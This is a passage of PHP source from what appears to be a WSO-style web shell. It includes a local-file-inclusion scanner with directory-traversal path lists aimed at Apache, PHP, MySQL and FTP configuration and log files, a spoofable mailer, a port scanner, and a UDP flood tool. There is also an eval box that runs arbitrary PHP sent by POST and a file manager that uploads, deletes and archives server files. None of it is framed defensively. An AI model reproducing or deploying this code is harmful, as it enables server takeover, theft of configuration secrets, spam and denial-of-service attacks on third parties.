            5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."", 
            6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."", 
            7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."", 
            8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."", 
            9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."", 
            10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."", 
            11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."", 
            12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."", 
            13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."", 
            14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."", 
            15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."", 
            16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."", 
            17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."", 
            18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."", 
            19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."", 
            20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."", 
            21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."", 
            22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."", 
            23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."", 
            24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."", 
            25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."", 
            26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."", 
            27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."", 
            28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."", 
            29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."", 
            30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."", 
            31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."", 
            32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."", 
            33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."", 
            34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."", 
            35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1.""); 
                 
          $lfiphpini = array( 
            1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."", 
            2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."", 
            3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."", 
            4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."", 
            5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."", 
            6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."", 
            7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."", 
            8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."", 
            9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."", 
            10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."", 
            11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."", 
            12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."", 
            13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."", 
            14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."", 
            15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."", 
            16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."", 
            17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."", 
            18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."", 
            19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."", 
            20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."", 
            21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."", 
            22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."", 
            23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."", 
            24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."", 
            25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."", 
            26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."", 
            27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1.""); 
         
          $lfimysql = array( 
            1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."", 
            2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."", 
            3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."", 
            4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."", 
            5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."", 
            6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."", 
            7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."", 
            8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."", 
            9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."", 
            10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1.""); 
         
          $lfiftp = array( 
            1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."", 
            2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."", 
            3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."", 
            4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."", 
            5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."", 
            6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."", 
            7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."", 
            8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."", 
            9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."", 
            10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."", 
            11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."", 
            12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."", 
            13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."", 
            14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."", 
            15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."", 
            16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."", 
            17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."", 
            18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."", 
            19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."", 
            20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."", 
            21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."", 
            22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."", 
            23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."", 
            24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."", 
            25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."", 
            26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."", 
            27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."", 
            28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."", 
            29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."", 
            30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."", 
            31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."", 
            32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."", 
            33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."", 
            34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."", 
            35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."", 
            36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."", 
            37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."", 
            38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."", 
            39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."", 
            40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."", 
            41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."", 
            42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."", 
            43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."", 
            44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1.""); 
         
  
         $x = 1; 
         if ( $type == 1 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfiaccess[$x]) { 
                $res3 = FetchURL($target.$lfiaccess[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 2 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lficonfig[$x]) { 
                $res3 = FetchURL($target.$lficonfig[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 3 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfierror[$x]) { 
                $res3 = FetchURL($target.$lfierror[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 4 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfiphpini[$x]) { 
                $res3 = FetchURL($target.$lfiphpini[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 5 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfimysql[$x]) { 
                $res3 = FetchURL($target.$lfimysql[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
         if ( $type == 6 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />"; 
            while($lfiftp[$x]) { 
                $res3 = FetchURL($target.$lfiftp[$x]); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />"; 
                } 
                $x++; 
      } 
      } 
         } 
if ( $type == 7 ) { 
            $res1 = FetchURL($target.$lfitest); 
            $res2 = FetchURL($target.$lfitest2); 
            $rhash1 = md5($res1); 
            $rhash2 = md5($res2); 
            if ($rhash1 != $rhash2) { 
                print "<font color=\'green\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";{ 
                $res3 = FetchURL($target.$lfiprocenv); 
                $rhash3 = md5($res3); 
                if ($rhash3 != $rhash2) { 
                print "<font color=\'green\'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br  />"; 
                } 
                else {              
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />"; 
                } 
      } 
      } 
         } 
      } 
wsoFooter(); 
} 
function actionphptools() { 
wsoHeader(); 
?><center><?php 
//mailer 
echo \'<b>Mailer</b><br> 
<form action="\'.$surl.\'" method=POST> 
<input type="hidden" name="a" value="phptools"> 
<input type=text name=to value=to><br> 
<input type=text name=from value=from><br> 
<input type=text name=subject value=subject><br> 
<input type=text name=body value=body><br> 
<input type=submit name=submit value=Submit></form>\'; 
if (isset($_POST[\'to\']) && isset($_POST[\'from\']) && isset($_POST[\'subject\']) && isset($_POST[\'body\'])) { 
    $headers = \'From: \'.$_POST[\'from\']; 
    mail ($_POST[\'to\'],$_POST[\'subject\'],$_POST[\'body\'],$headers); 
    echo \'Email sent.\'; 
} 
  
//port scanner 
echo \'<br><b>Port Scanner</b><br>\'; 
$start = strip_tags($_POST[\'start\']); 
$end = strip_tags($_POST[\'end\']); 
$host = strip_tags($_POST[\'host\']); 
  
if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){ 
for($i = $start; $i<=$end; $i++){ 
    $fp = @fsockopen($host, $i, $errno, $errstr, 3); 
    if($fp){ 
        echo \'Port \'.$i.\' is <font color=green>open</font><br>\'; 
    } 
    flush(); 
    } 
}else{ 
?> 
<form action="?" method="POST"> 
<input type="hidden" name="a" value="phptools"> 
Host:<br /> 
<input type="text" name="host" value="localhost"/><br /> 
Port start:<br /> 
<input type="text" name="start" value="0"/><br /> 
Port end:<br /> 
<input type="text" name="end" value="5000"/><br /> 
<input type="submit" value="Scan Ports" /> 
</form> 
<?php 
} 
  
//UDP 
if(isset($_POST[\'host\'])&&is_numeric($_POST[\'time\'])){ 
    $pakits = 0; 
    ignore_user_abort(TRUE); 
    set_time_limit(0); 
      
    $exec_time = $_POST[\'time\']; 
      
    $time = time(); 
    //print "Started: ".time(\'h:i:s\')."<br>"; 
    $max_time = $time+$exec_time; 
  
    $host = $_POST[\'host\']; 
      
    for($i=0;$i<65000;$i++){ 
            $out .= \'X\'; 
    } 
    while(1){ 
    $pakits++; 
            if(time() > $max_time){ 
                    break; 
            } 
            $rand = rand(1,65000); 
            $fp = fsockopen(\'udp://\'.$host, $rand, $errno, $errstr, 5); 
            if($fp){ 
                    fwrite($fp, $out); 
                    fclose($fp); 
            } 
    } 
    echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second 
"; 
    echo \'<br><br> 
        <form action="\'.$surl.\'" method=POST> 
        <input type="hidden" name="a" value="phptools"> 
        Host: <input type=text name=host value=localhost> 
        Length (seconds): <input type=text name=time value=9999> 
        <input type=submit value=Go></form>\'; 
}else{ echo \'<br><b>UDP Flood</b><br> 
            <form action=? method=POST> 
            <input type="hidden" name="a" value="phptools"> 
            Host: <br><input type=text name=host value=localhost><br> 
            Length (seconds): <br><input type=text name=time value=9999><br> 
            <input type=submit value=Go></form>\'; 
} 
?></center><?php 
wsoFooter();} 
function actionPhp() { 
    if(isset($_POST[\'ajax\'])) { 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = true; 
        ob_start(); 
        eval($_POST[\'p1\']); 
        $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\\'") . "\';
"; 
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    wsoHeader(); 
    if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) { 
        echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\'; 
        ob_start(); 
        phpinfo(); 
        $tmp = ob_get_clean(); 
        $tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp); 
        $tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp); 
        echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\'; 
    } 
    if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\'])) 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = false; 
    echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\'; 
    echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\'; 
    if(!empty($_POST[\'p1\'])) { 
        ob_start(); 
        eval($_POST[\'p1\']); 
        echo htmlspecialchars(ob_get_clean()); 
    } 
    echo \'</pre></div>\'; 
    wsoFooter(); 
} 
  
function actionFilesMan() { 
    wsoHeader(); 
    echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\'; 
    if(!empty($_POST[\'p1\'])) { 
        switch($_POST[\'p1\']) { 
            case \'uploadFile\': 
                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\'])) 
                    echo "Can\'t upload file!"; 
                break; 
            case \'mkdir\': 
                if(!@mkdir($_POST[\'p2\'])) 
                    echo "Can\'t create new dir"; 
                break; 
            case \'delete\': 
                function deleteDir($path) { 
                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\'; 
                    $dh  = opendir($path); 
                    while ( ($item = readdir($dh) ) !== false) { 
                        $item = $path.$item; 
                        if ( (basename($item) == "..") || (basename($item) == ".") ) 
                            continue; 
                        $type = filetype($item); 
                        if ($type == "dir") 
                            deleteDir($item); 
                        else
                            @unlink($item); 
                    } 
                    closedir($dh); 
                    @rmdir($path); 
                } 
                if(is_array(@$_POST[\'f\'])) 
                    foreach($_POST[\'f\'] as $f) { 
                        if($f == \'..\') 
                            continue; 
                        $f = urldecode($f); 
                        if(is_dir($f)) 
                            deleteDir($f); 
                        else
                            @unlink($f); 
                    } 
                break; 
            case \'paste\': 
                if($_SESSION[\'act\'] == \'copy\') { 
                    function copy_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = @opendir($c.$s); 
                            while (($f = @readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) 
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); 
                        } elseif(is_file($c.$s)) 
                            @copy($c.$s, $d.$s); 
                    } 
                    foreach($_SESSION[\'f\'] as $f) 
                        copy_paste($_SESSION[\'c\'],$f, $GLOBALS[\'cwd\']); 
                } elseif($_SESSION[\'act\'] == \'move\') { 
                    function move_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = @opendir($c.$s); 
                            while (($f = @readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) 
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); 
                        } elseif(@is_file($c.$s)) 
                            @copy($c.$s, $d.$s); 
                    } 
                    foreach($_SESSION[\'f\'] as $f) 
                        @rename($_SESSION[\'c\'].$f, $GLOBALS[\'cwd\'].$f); 
                } elseif($_SESSION[\'act\'] == \'zip\') { 
                    if(class_exists(\'ZipArchive\')) { 
                        $zip = new ZipArchive(); 
                        if ($zip->open($_POST[\'p2\'], 1)) { 
                            chdir($_SESSION[\'c\']); 
                            foreach($_SESSION[\'f\'] as $f) { 
                                if($f == \'..\') 
                                    continue; 
                                if(@is_file($_SESSION[\'c\'].$f)) 
                                    $zip->addFile($_SESSION[\'c\'].$f, $f); 
                                elseif(@is_dir($_SESSION[\'c\'].$f)) { 
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\')); 
                                    foreach ($iterator as $key=>$value) { 
                                        $zip->addFile(realpath($key), $key); 
                                    } 
                                } 
                            } 
                            chdir($GLOBALS[\'cwd\']); 
                            $zip->close(); 
                        } 
                    } 
                } elseif($_SESSION[\'act\'] == \'unzip\') { 
                    if(class_exists(\'ZipArchive\')) { 
                        $zip = new ZipArchive(); 
                        foreach($_SESSION[\'f\'] as $f) { 
                            if($zip->open($_SESSION[\'c\'].$f)) { 
                                $zip->extractTo($GLOBALS[\'cwd\']); 
                                $zip->close(); 
                            } 
                        } 
                    } 
                } elseif($_SESSION[\'act\'] == \'tar\') { 
                    chdir($_SESSION[\'c\']); 
                    $_SESSION[\'f\'] = array_map(\'escapeshellarg\', $_SESSION[\'f\']); 
                    wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_SESSION[\'f\'])); 
                    chdir($GLOBALS[\'cwd\']); 
                } 
                unset($_SESSION[\'f\']); 
                break; 
            default: 
                if(!empty($_POST[\'p1\'])) { 
                    $_SESSION[\'act\'] = @$_POST[\'p1\']; 
                    $_SESSION[\'f\'] = @$_POST[\'f\']; 
                    foreach($_SESSION[\'f\'] as $k => $f) 
                        $_SESSION[\'f\'][$k] = urldecode($f); 
                    $_SESSION[\'c\'] = @$_POST[\'c\']; 
                } 
                break; 
        } 
    } 
    $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']); 
    if($dirContent === false) { echo \'Can\'t open this folder!\';wsoFooter(); return; } 
    global $sort; 
    $sort = array(\'name\', 1); 
    if(!empty($_POST[\'p1\'])) { 
        if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match)) 
            $sort = array($match[1], (int)$match[2]); 
    } 
echo "<script> 
    function sa() { 
        for(i=0;i<d.files.elements.length;i++) 
            if(d.files.elements[i].type == \'checkbox\') 
                d.files.elements[i].checked = d.files.elements[0].checked; 
    } 
  
</script> 
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'> 
<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>"; 
    $dirs = $files = array(); 
    $n = count($dirContent); 
    for($i=0;$i<$n;$i++) { 
        $ow = @posix_getpwuid(@fileowner($dirContent[$i])); 
        $gr = @posix_getgrgid(@filegroup($dirContent[$i])); 
        $tmp = array(\'name\' => $dirContent[$i], 
                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i], 
                     \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])), 
                     \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]), 
                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]), 
                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]), 
                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i]) 
                    ); 
        if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i])) 
            $files[] = array_merge($tmp, array(\'type\' => \'file\')); 
        elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i])) 
            $dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\']))); 
        elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != ".")) 
            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\')); 
    } 
    $GLOBALS[\'sort\'] = $sort; 
    function wsoCmp($a, $b) { 
        if($GLOBALS[\'sort\'][0] != \'size\') 
            return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1); 
        else
            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1); 
    } 
    usort($files, "wsoCmp"); 
    usort($dirs, "wsoCmp"); 
    $files = array_merge($dirs, $files); 
    $l = 0; 
    foreach($files as $f) { 
        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" title=\' . $f[\'link\'] . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\'] 
            .\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\'; 
        $l = $l?0:1; 
    } 
    echo "<tr><td colspan=7> 
  
    <input type=hidden name=a value=\'FilesMan\'> 
    <input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'> 
    <input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'> 
